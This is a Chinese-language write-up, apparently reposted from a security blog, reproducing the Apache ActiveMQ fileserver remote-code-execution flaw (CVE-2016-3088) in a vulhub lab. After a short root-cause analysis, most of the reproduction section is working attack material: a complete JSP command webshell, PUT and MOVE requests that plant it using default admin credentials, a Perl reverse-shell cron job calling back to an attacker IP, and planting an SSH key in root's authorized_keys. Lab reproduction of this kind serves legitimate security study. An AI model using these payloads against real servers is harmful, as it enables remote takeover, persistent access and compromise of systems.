概述
ActiveMQ远程代码执行漏洞(CVE-2016-3088)
0x01 漏洞简介
ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。
0x02 影响版本
Apache ActiveMQ 5.x ~ 5.14.0
0x03 环境搭建
从vulhub中下载对应环境的docker-compose.yml文件 https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
使用docker-compose up -d
命令运行文件
本机ip为192.168.237.129
开放端口 8161 61616
攻击机ip:192.168.237.130
0x04 漏洞分析
下载源码:
https://activemq.apache.org/components/classic/download/,根据漏洞环境中查看到的,点击下载历史版本。下载ActiveMQ 5.11.1 Release
ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,可以看到在doFilter会进行识别
可以看到后台处理 PUT 的关键代码
顺着 PUT 方法追踪,可以看到调用了如下函数,对文件进行写入
用户可以上传文件到指定目录,该路径在 conf/jetty.xml
中定义
后台处理 MOVE 的关键代码如下,可以看到该方法没有对目的路径做任何限制或者过滤。
由此,我们可以构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。
0x05 漏洞复现
根据以上漏洞原理,我们可以想到多种利用姿势。
上传Webshell方式
首先 PUT 一个 txt文件 的 Webshell 到 fileserver 目录
PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.237.129:8161
Content-Length: 330
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
可以看到文件已经上传成功
尝试上传jsp文件,发现文件格式被禁止
由于上传的是文本文件并不能被服务器解析,所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录并更改后缀为jsp。
写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。
默认的ActiveMQ账号密码均为admin
,首先访问http://192.168.237.129:8161/admin/test/systemProperties.jsp
,查看ActiveMQ的绝对路径:
将抓到的包改成move方法,并将我们前边写入的txt文件移到可以执行jsp文件的目录中
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/1.jsp
Host: 192.168.237.129:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjY2NzYyODcyLCJlbWFpbCI6IiJ9._m5Os7Qfe03lFDNUNDvy5FH7qbelPu2xzFcmX2Ap4fM
Upgrade-Insecure-Requests: 1
执行成功,我们的环境中也出现了1.jsp文件
访问我们生成的文件,发现已经可以执行命令
计划任务反弹
写入反弹计划命令
PUT /fileserver/10.txt HTTP/1.1
Host: 192.168.237.129:8161
Content-Length: 250
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.237.130";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
这里在命令后面注意把换行符修改为0a,也就是linux中的n
移动到/etc/cron.d/目录下,遇到ubuntu目录不太一样,参考这里
MOVE /fileserver/11.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.237.129:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default
Upgrade-Insecure-Requests: 1
如果上述两个请求都返回204了,说明写入成功。等待反弹shell:
这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。
上传SSH公钥方式
既然可以任意文件上传和移动,很自然的可以想到上传我们的 ssh 公钥,从而实现 SSH 方式登录。
首先生成密钥对。(如果已存在则不需要)ssh-keygen -t rsa
在.ssh目录下可以查看到我们生成的秘钥,将其中的id_rsa.pub
进行上次
然后上传、移动到/root/.ssh/
并重命名为authorized_keys
之后直接ssh登录即可。
参考链接
https://paper.seebug.org/346/
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
最后
以上就是友好往事为你收集整理的ActiveMQ远程代码执行漏洞(CVE-2016-3088)ActiveMQ远程代码执行漏洞(CVE-2016-3088)的全部内容,希望文章能够帮你解决ActiveMQ远程代码执行漏洞(CVE-2016-3088)ActiveMQ远程代码执行漏洞(CVE-2016-3088)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复